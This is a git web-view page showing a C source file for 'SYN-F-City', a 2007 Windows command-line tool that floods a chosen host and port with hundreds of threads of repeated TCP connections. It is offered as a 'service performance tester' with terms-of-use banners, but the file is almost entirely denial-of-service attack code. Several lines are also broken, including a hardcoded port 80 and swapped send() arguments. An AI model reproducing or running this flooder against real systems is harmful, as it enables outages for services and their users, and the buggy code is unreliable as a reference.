Added experimental makepkg-update-checksums.sh
[mirrors/Programs.git] / c / synfcity.c
... / ...
CommitLineData
1/*\r
2SYN-F-City\r
3SynFlooder ( Optimized for DEV-C++ )\r
4I made this like a PortFuck alternative for Microsoft Windows Commandline.\r
5You can do anything what you want with this piece of software (and source code),\r
6but only at yours own risk and responsibility.\r
7You can modify and distribute this software as long as it's not used in public\r
8networks or against extraneous computer and as long as my name is mentioned.\r
9Sorry for my poor english and use it well. ;D\r
10\r
11 <- Harvie 2oo7 */\r
12 \r
13//Includes\r
14#include <stdio.h>\r
15#include <stdlib.h>\r
16#include <windows.h>\r
17#include <stdio.h>\r
18#include <process.h>\r
19#include <winsock2.h> //don't forget to include Dev-Cpp/lib/libwsock32.a\r
20\r
21//Settings\r
22#define HOSTLEN 256 //Maximum hostname lenght\r
23char target_host[HOSTLEN] = "127.0.0.1"; //host\r
24unsigned int target_port = 80; //port\r
25int delay = 1000; //sleep in ms\r
26unsigned int threads_max = 300; //0 == infinite\r
27char mode = 1; //0 = reconnect on connect; 1 = wait for disconnection by server\r
28#define DATALEN 1024 //Maximum data lenght\r
29char snd_data[DATALEN] = ""; //Data to send (Optional)\r
30\r
31//Init\r
32char product[] = "SYNFCity";\r
33char version[] = "0.4 (2oo7)";\r
34int thread_report = 10;\r
35unsigned int thread_no = 1;\r
36\r
37//Socket thread\r
38unsigned __stdcall SecondThreadFunc( void* pArguments )\r
39{\r
40 unsigned int this_thread_no = thread_no;\r
41 //system("cls");\r
42 //printf( "[d] Thread #%d\n", this_thread_no ); //Debug\r
43 \r
44 //Sock///////////////////////////////////////\r
45 int s;\r
46 SOCKADDR_IN sck;\r
47 HOSTENT *host;\r
48 WSADATA wsadata;\r
49 \r
50 WSAStartup(MAKEWORD(1,1),&wsadata);\r
51 \r
52 if( (host=gethostbyname(target_host)) == NULL ) {\r
53 printf("\n[!] Host not found !!!\n");\r
54 exit(1);\r
55 }\r
56 sck.sin_family = PF_INET;\r
57 memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);\r
58 sck.sin_port = htons(80);\r
59 \r
60 while(1) {\r
61 s=socket(AF_INET, SOCK_STREAM,0);\r
62 while( !( connect(s,(struct sockaddr *)&sck,sizeof(sck)) ) ) { Sleep(100); }\r
63 if( strlen(snd_data) > 0 ) {\r
64 send(s,snd_data,0,strlen(snd_data)); //Send data\r
65 }\r
66 if(mode) {\r
67 while( send(s,snd_data,0,strlen(snd_data)) != -1 ) { Sleep(3000);} //Wait for server side close\r
68 }\r
69 //printf("[d] Reconnecting #%d\n", this_thread_no); //Debug\r
70 closesocket(s);\r
71 }\r
72 //Sock end//////////////////////////////////\r
73\r
74 _endthreadex( 0 );\r
75 return 0;\r
76} \r
77\r
78//MAIN\r
79int main(int argc, char *argv[])\r
80{ \r
81 //Help\r
82 if(argc < 3) { \r
83 printf("\n%s %s\n\nHarvie's Windows SYNFlood based service performance tester\n(PortFuck commandline alternative)\n\n", product, version);\r
84 printf(" Usage: %s host port [delay] [socks_max] [mode] [\"data\"]\n\n", product);\r
85 printf("host - yours testing target\n");\r
86 printf("port - port with target service\n");\r
87 printf("delay - wait between thread creating (ms)\n");\r
88 printf("socks_max - maximum of threads/sockets; 0 = infinite -don't do with short delay\n");\r
89 printf("mode - (0|1); 0 = reconnect on connect; 1 = wait for disconnection by server\n");\r
90 printf("data - send this string to the server (\"\\n\\n\" will be added)\n");\r
91 printf("\n");\r
92 printf("This values will be used implicitly:\n %s %s %d %d %d %d \"%s\"\n", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
93 printf("\n\n");\r
94 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
95 printf(" !! WARNING - TERMS OF USE - READ CAREFULLY !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
96 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
97 printf(" !!!!!!!!! THIS IS FREEWARE AND COMES WITH ABSOLUTELY NO WARRANTY !!!!!!!!!!!!!\n");\r
98 printf(" !!!!!!!!! IT'S PROHIBITED TO USE THIS SOFTWARE IN PUBLIC NETWORKS !!!!!!!!!!!!\n");\r
99 printf(" !!!!!!!!! USE THIS TEST ONLY AGAINST YOURS OWN COMPUTERS !!!!!!!!!!!!!!!!!!!!!\n");\r
100 printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR USING THIS PROGRAM !!!!!!!!!!!!!!!!\n");\r
101 printf(" !!!!!!!!! YOU HAVE FULL RESPONSIBILITY FOR YOU !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
102 printf(" !!!!!!!!! USE THIS ONLY ON YOURS OWN RISK !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
103 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
104 printf(" !!!! DON'T USE THIS SOFTWARE IF YOU DOESN'T UNDERSTOOD OR YOU DON'T AGREE !!!!\n");\r
105 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
106 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! <- HARVIE 2oo7 !!!\n");\r
107 printf(" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");\r
108 printf(" !I have done this only to test my own server's resistance against DoS attacks!\n");\r
109 printf("\n");\r
110 if(argc < 2) { \r
111 printf("Press any key, if you are sure, that you understand and you agree with terms of use. Otherwise close the window. (Run this program with more than zero arguments to prevent this confirmation, if you want dump help to file, etc...)\n");\r
112 system("pause");\r
113 }\r
114 return(1);\r
115 }\r
116 \r
117 //Parse arguments\r
118 if(argc > 1) { snprintf(target_host, HOSTLEN, "%s", argv[1]); }\r
119 if(argc > 2) { target_port = atoi(argv[2]); }\r
120 if(argc > 3) { delay = atoi(argv[3]); }\r
121 if(argc > 4) { threads_max = atof(argv[4]); }\r
122 if(argc > 5) { mode = atoi(argv[5]); }\r
123 if(argc > 6) { snprintf(snd_data, DATALEN,"%s", argv[6]); }\r
124 printf("[*] %s host: %s port: %d\n[i] delay: %d socks_max: %d mode: %d data: %s", product, target_host, target_port, delay, threads_max, mode, snd_data);\r
125 if(strlen(snd_data) > 0) { snprintf(snd_data, DATALEN,"%s\n\n", snd_data); }\r
126 \r
127 \r
128 //Load\r
129 HANDLE hThread;\r
130 unsigned threadID;\r
131 printf("[!] SynFlooding %s:%d\n[i] C-c 2 stop\n\n", target_host, target_port);\r
132 printf( "[T] Creatin' some threadzz... ;))\n" );\r
133 printf( "[i] Showing only each %dth thread:\n", thread_report );\r
134\r
135 //Fire ;))\r
136 while(1) {\r
137 hThread = (HANDLE)_beginthreadex( NULL, 0, &SecondThreadFunc, NULL, 0, &threadID );\r
138 if(hThread == 0) {\r
139 printf("\n[!] Reached maximum number of threads allowed by system.\n");\r
140 break;\r
141 }\r
142 if(thread_no % thread_report == 0) {\r
143 printf( "[#] Thread #%d was succesfully created.\n", thread_no ); //Debug\r
144 }\r
145 Sleep(delay);\r
146 thread_no++;\r
147 if(threads_max != 0) {\r
148 if(thread_no > threads_max) { \r
149 printf("\n[!] Reached previously selected maximum number of threads.\n");\r
150 break;\r
151 }\r
152 }\r
153 }\r
154 \r
155 printf("[!] Working...\n[i] C-c 2 stop\n\n");\r
156 //Doo something useful while running ;D\r
157 while(1) { sleep(60000); }\r
158}\r
This page took 0.341858 seconds and 4 git commands to generate.